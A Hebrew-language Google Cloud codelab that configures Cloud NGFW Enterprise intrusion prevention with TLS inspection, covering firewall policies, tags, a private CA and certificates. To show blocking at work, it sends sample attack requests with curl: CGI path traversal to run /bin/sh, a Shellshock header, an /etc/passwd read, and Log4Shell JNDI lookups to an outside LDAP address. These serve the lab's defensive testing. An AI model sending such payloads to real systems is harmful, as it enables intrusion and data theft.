Cloud NGFW Enterprise Codelab [עם בדיקת TLS]

1. מבוא

חומת אש מדור הבא ב-Cloud (NGFW)

Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח ותמיכה רחבה, שמאפשר להגן על עומסי העבודה ב-Google Cloud מפני התקפות פנימיות וחיצוניות.

היתרונות של Cloud NGFW:

  • שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח עם שמירת מצב (stateful) ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטים יותר: Cloud NGFW מטמיע מדיניות רשתות ומדיניות של חומות אש היררכיות שאפשר לצרף לצומת בהיררכיית המשאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
  • שליטה פרטנית ומיקרו-פילוח: השילוב של כללי מדיניות חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת על תעבורת נתונים מצפון לדרום וממזרח למערב, עד למכונה וירטואלית אחת, ברשתות ובארגונים של ענן וירטואלי פרטי (VPC).

Cloud NGFW זמין ברמות הבאות:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise מוסיף ל-fabric המבוזר של חומת האש של Google Cloud את שירות מניעת חדירה (IPS), יכולת בשכבה 7. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורה מוצפנת ב-TLS.

עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מדור תשיעי (NGFW) בשכבה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורה של הרשת או בהגדרות הניתוב.

כדי להפעיל ולפרוס בקרה של חומת אש בשכבה 7 באמצעות IPS, צריך לבצע את הפעולות הבאות:

  • יצירת קבוצה של נקודות קצה של חומת אש אזורית בניהול Google Cloud.
  • אפשר גם ליצור מדיניות בדיקה של TLS.
  • אפשר גם ליצור Trust Config.
  • משייכים את נקודות הקצה האלה לרשתות הענן הווירטואלי הפרטי (VPC) שבהן אתם צריכים את שירות Cloud NGFW Enterprise.
  • מבצעים שינויים פשוטים בכללי חומת האש ובמדיניות חומת האש הקיימת כדי לציין את הפרופילים למניעת איומים בנתיבי התנועה השונים.

מדיניות של חומת אש בין רשתות

מדיניות חומת האש ברשת משמשת כקונטיינר לכללי חומת האש. כללים שמוגדרים במדיניות של חומת אש ברשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות חומת אש אחת. כללי המדיניות של חומת האש ברשת תומכים בתגים (או פשוט בתגים) שמנוהלים על ידי IAM בכללי חומת האש, ותגים אלה מחליפים את תגי הרשת הקיימים. אפשר להשתמש בתגים האלה כדי לספק זהות לעומס העבודה.

שיתוף של מדיניות חומת אש ברשתות שונות והשילוב עם תגים שמנוהלים על ידי IAM מפשטים מאוד את ההגדרה והניהול של חומות האש.

בעקבות ההשקה של מדיניות חומת אש ברשת, כללי מדיניות חומת האש של Google Cloud מורכבים עכשיו מהרכיבים הבאים:

  1. מדיניות היררכית של חומת אש
  2. כללי חומת אש ב-VPC
  3. מדיניות חומת האש של הרשת ( גלובלית ואזורית)

מדיניות חומת אש היררכית נתמכת בצמתים של הארגון והתיקייה בהיררכיית המשאבים, ואילו כללי חומת האש של VPC וכללי מדיניות חומת האש ברשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת האש של VPC לבין כללי מדיניות חומת האש של הרשת הוא שאפשר להחיל את כללי חומת האש של VPC רק על רשת VPC אחת, בעוד שאפשר לצרף את כללי מדיניות חומת האש של הרשת ל-VPC יחיד או לקבוצה של VPC, בין היתר, לצורך עדכוני באצווה.

לבסוף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:

  • כלל תעבורת נתונים יוצאת (egress) שהפעולה שלו היא allow והיעד שלו הוא 0.0.0.0/0
  • כלל תעבורת נתונים נכנסת (ingress) שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:

21b3bcabc469ffe.png

חשוב לדעת שאפשר להחליף את סדר האכיפה בין כללי חומת האש של VPC לבין מדיניות חומת האש הגלובלית של הרשת. לקוחות יכולים לציין את צו האכיפה בכל שלב באמצעות פקודת gcloud.

תגים

התגים המשולבים בכללי המדיניות של חומת האש ברשת הם משאבים של צמד מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל אמצעי בקרת גישה של IAM שמציינים מי יכול לעשות מה בתג. לדוגמה, הרשאות ניהול זהויות והרשאות גישה (IAM) מאפשרות לציין לאילו חשבונות משתמשים מותר להקצות ערכים לתגים ולאילו חשבונות משתמשים מותר לצרף תגים למשאבים. אם כלל של חומת אש ברשת מפנה לתג, צריך להחיל אותו על משאב כדי לאכוף אותו.

התגים פועלים בהתאם למודל הירושה של משאבים ב-Google Cloud, כלומר התגים והערכים שלהם מועברים דרך ההיררכיה מההורים. כתוצאה מכך, אפשר ליצור תגים במקום אחד ואז להשתמש בהם בתיקיות ובפרויקטים אחרים בהיררכיית המשאבים. בדף הזה מפורט מידע על תגים והגבלת גישה.

חשוב לא לבלבל בין תגים לבין תגי רשת. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הן משויכות למכונה ונעלמות כשהמכונה הוצאה משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מאחר שהם לא נחשבים למשאבים בענן, הם לא כפופים לבקרת הגישה של IAM.

שימו לב שבמסמך הזה אנחנו משתמשים לסירוגין במונחים 'תגים' ו'תגים שמנוהלים על ידי IAM'.

מה תפַתחו

כדי להשתמש בקודלאב הזה, צריך פרויקט אחד ויכולת ליצור רשת VPC ולנהל מספר משאבי רשת ואבטחה. נראה איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:

  • בדיקת תעבורת הנתונים באינטרנט בכיוון צפון באמצעות בדיקת TLS
  • בדיקת תעבורה בתוך VPC [מזרח-מערב] באמצעות בדיקת TLS

תהליכי הבדיקה ייבחרו באמצעות פרמטרים תואמים של חומת האש של Cloud, כולל 5-tuple (כתובת IP של מקור, כתובת IP של יעד, פרוטוקול, יציאת מקור, יציאת יעד) ותגים.

3d0f288d3b92a295.png

מצב הסיום של מסד הכללים של מדיניות חומת האש ברשת יהיה דומה לטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

100

תעבורת נתונים נכנסת (Ingress)

Server_Tag

בדיקות תקינות

הכול

אישור

בסיסיות

200

תעבורת נתונים נכנסת (Ingress)

Client_Tag, ‏ Server_Tag

IAP

הכול

אישור

בסיסיות

800

תעבורת נתונים נכנסת (Ingress)

Server_Tag

10.0.0.0/24

10.0.0.0/24

בדיקה ברמה 7

ארגונים

850

תעבורת נתונים יוצאת (egress)

Client_Tag

הכול

10.0.0.0/24

אישור

בסיסיות

900

תעבורת נתונים יוצאת (egress)

Client_Tag

הכול

הכול

בדיקה ברמה 7

ארגונים

מה תלמדו

  • איך יוצרים מדיניות של חומת אש ברשת.
  • איך יוצרים תגים ומשתמשים בהם עם מדיניות חומת אש ברשת.
  • איך מגדירים את Cloud NGFW Enterprise עם בדיקת TLS ומשתמשים בו.

מה צריך להכין

  • פרויקט ב-Google Cloud.
  • ידע בפריסה של מכונות והגדרה של רכיבי רשת.
  • ידע בהגדרת חומות אש של VPC.

2. לפני שמתחילים

יצירה ועדכון של משתנים

בקודלאב הזה נעשה שימוש במשתני $כדי לעזור בהטמעת הגדרות gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע בסוגריים כנדרש:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. הפעלת ממשקי API

מפעילים את ממשקי ה-API, אם עדיין לא עשיתם זאת:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת נקודת קצה לארגון ב-Cloud NGFW

יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, לכן היא תיווצר קודם, וניתן לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.

יוצרים את פרופיל האבטחה ואת קבוצת פרופיל האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

מוודאים שהמשאבים נוצרו:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

יוצרים את נקודת הקצה של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

תהליך היצירה נמשך כ-20 דקות. ממשיכים לקטע 'הגדרה בסיסית' כדי ליצור את המשאבים הנדרשים במקביל.

5. הגדרה בסיסית

רשת VPC ותת-רשת

רשת ו-subnet של VPC

יוצרים את הרשת והתת-רשת של VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את Cloud Router ואת שער Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

קולאז' מתמונה

יוצרים את המכונות של הלקוח ושרת האינטרנט:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

תגים ברמת הפרויקט

מקצים למשתמש את ההרשאה tagAdmin if צריך:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

יוצרים את המפתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

מקשרים את התגים למכונות:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

המדיניות הגלובלית בנושא חומת אש בין רשתות

יוצרים מדיניות גלובלית של חומת אש ברשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

יוצרים את הכללים הנדרשים של Cloud Firewall Essential כדי לאפשר תעבורת נתונים מטווחים של בדיקות תקינות ושל שרת proxy לאימות זהויות (IAP):

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

יוצרים את הכללים הנדרשים של Cloud Firewall כדי לאפשר תעבורת נתונים נכנסת ממזרח למערב או בתוך תת-הרשת מהטווחים הספציפיים (הכללים האלה יתעדכנו כדי לאפשר את Cloud NGFW Enterprise עם בדיקת TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש בענן לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. שיוך של נקודות קצה ל-Cloud Firewall

מגדירים את משתני הסביבה אם עדיין לא עשיתם זאת ו/או אם אתם מעדיפים את הגישה של הסקריפט.

מוודאים שהיצירה של נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק אחרי שהסטטוס מוצג כ-פעיל (במהלך היצירה, הסטטוס הצפוי הוא יצירה):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

משייכים את נקודת הקצה של Cloud Firewall לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

תהליך השיוך נמשך כ-10 דקות. ממשיכים לקטע TLS רק אחרי שהסטטוס מוצג כ-ACTIVE (במהלך היצירה, הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoint-associations list

הפלט הצפוי בסיום:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. הגדרת משאבי TLS

יוצרים מאגר של רשויות אישורים. המשאב הזה ישמש לאחסון אישור Root CA שיצרנו עבור NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

יוצרים את רשות האישורים ברמה הבסיסית. זהו אישור ה-CA שישמש לחתימה על אישורים נוספים לבקשות דרך NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

אם תוצג ההודעה הבאה, צריך להשיב y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

יוצרים חשבון שירות. חשבון השירות הזה ישמש לבקשת אישורים ל-NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

מגדירים את הרשאות ה-IAM לחשבון השירות:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

יוצרים את קובץ ה-YAML של מדיניות ה-TLS. הקובץ הזה יכיל מידע על המשאבים הספציפיים:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

מייבאים את מדיניות הבדיקה של TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

מעדכנים את השיוך של נקודת הקצה כדי להפעיל את TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

מקבלים את אישור ה-CA ומוסיפים אותו למאגר ה-CA של הלקוח:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

מעבירים את אישור ה-CA ללקוח:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

מתחברים ל-VM באמצעות SSH, מעבירים את אישור ה-CA אל /usr/local/share/ca-certificates ומעדכנים את מאגר ה-CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

יוצאים חזרה אל cloudshell.

תהליך החתימה על אישור השרת:

ב-cloudshell, מתקינים את ספריית הקריפטוגרפיה Pyca באמצעות הפקודה pip:

pip install --user "cryptography>=2.2.0"

כדי לאפשר ל-Google Cloud SDK להשתמש בספריית הקריפטוגרפיה Pyca, צריך להפעיל את חבילות האתר.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

יוצרים את אישור השרת:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

הפקודה הזו תיצור קובץ cert.pem וקובץ key.pem ב-cloudshell. בשלב הבא, מעבירים את האישור והמפתח לשרת.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

מתחברים לשרת באמצעות SSH כדי לעדכן את פרטי האישור של Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

מעבירים את האישור והמפתח לתיקייה ספציפית:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

מעדכנים את הגדרת ה-SSL כך שתשתמש באישור חתום:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

מפעילים מחדש את Apache:

sudo systemctl restart apache2

בודקים את סטטוס Apache:

sudo systemctl status apache2

הוא צריך להיות פעיל (בפעולה).

יוצאים מהמכונה הווירטואלית וממשיכים ב-cloudshell.

8. אימות הקישוריות מצפון ומזרח/מערב

מריצים את הפקודות הבאות ב-Cloud Shell ומתעדים את כתובות ה-IP של היעד לשימוש:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

פותחים כרטיסייה חדשה ומפעילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (צריך להגדיר את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את הפקודות הבאות ומתעדים את כתובות ה-IP של היעד שבהן רוצים להשתמש. יוצרים את המשתנים ומחליפים את הערכים בסוגריים בערכים של כתובות ה-IP שציינתם בשלב הקודם, ומוודאים שאפשר לגשת אליהן:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

בודקים את כתובת ה-IP הפרטית באמצעות Curl ומוודאים שאפשר לגשת אליה:

curl https://$target_privateip --max-time 2

התוצאות הצפויות לבקשת ה-curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

שולחים התקפות לדוגמה לכתובת ה-IP. שרת האינטרנט אמור להגיב לכל הבקשות, כדי לאשר שאין בדיקה או מניעה ברמה L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

דוגמה לתוצאות הצפויות (כתובת IP פרטית):

400
404
400
200
200

באופן דומה, שולחים בקשות ליעד באינטרנט:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

דוגמה לתוצאות הצפויות (יעד באינטרנט):

400
404
400
403
403

יוצאים מהטרמינל של המכונה הווירטואלית וחוזרים ל-Cloud Shell.

9. יצירה ועדכון של כללי חומת אש לבדיקת TLS

קודם הגדרנו כלל של חומת אש שמאפשר תעבורת נתונים נכנסת (ingress) לשרת שלנו מתת-הרשת הפנימית. עכשיו נעדכן את כללי ה-ingress הקיימים ונגדיר את הפעולה כ-apply_security_profile_group. הפעולה הזו תפעיל בדיקה של L7 ב-E/W באמצעות TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

יוצרים כלל חדש לבדיקת L7 בכיוון צפון באמצעות TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

יוצרים כלל חדש כדי לאפשר תעבורת נתונים יוצאת (egress) ב-E/W כדי למנוע בדיקה כפולה.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. אימות של בדיקת TLS בכיוון צפון

חוזרים לכרטיסייה של המכונה הווירטואלית של הלקוח או מתחברים מחדש:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את התקפות הדוגמה ליעד באינטרנט:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

לא מתקבלות תגובות בהתאם לפלט הצפוי שמופיע בהמשך, מה שמאשר שההתקפות לדוגמה חסומות עכשיו:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

מגדירים את המשתנה לכתובת ה-IP של השרת מהשלב הקודם:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

שולחים לשרת בקשות TLS לדוגמה:

curl https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

למה הבקשה נכשלה? הסיבה לכך היא שחומת האש מקבלת מהשרת אישור שאין בו אמון. במקרה כזה, הוא יעביר לקוח אישור בחתימה עצמית. כדי להפעיל את האמון, צריך להוסיף את אישור ה-CA כחלק מהגדרת האמון.

חוזרים ל-Cloud Shell.

11. הגדרת Trust Config

מקבלים את אישור Root CA ומגדירים אותו כמשתנה בפורמט המתאים.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

מגדירים את קובץ ה-YAML של Trust Config. הקובץ הזה מכיל פרטי אמון כמו אישורי CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

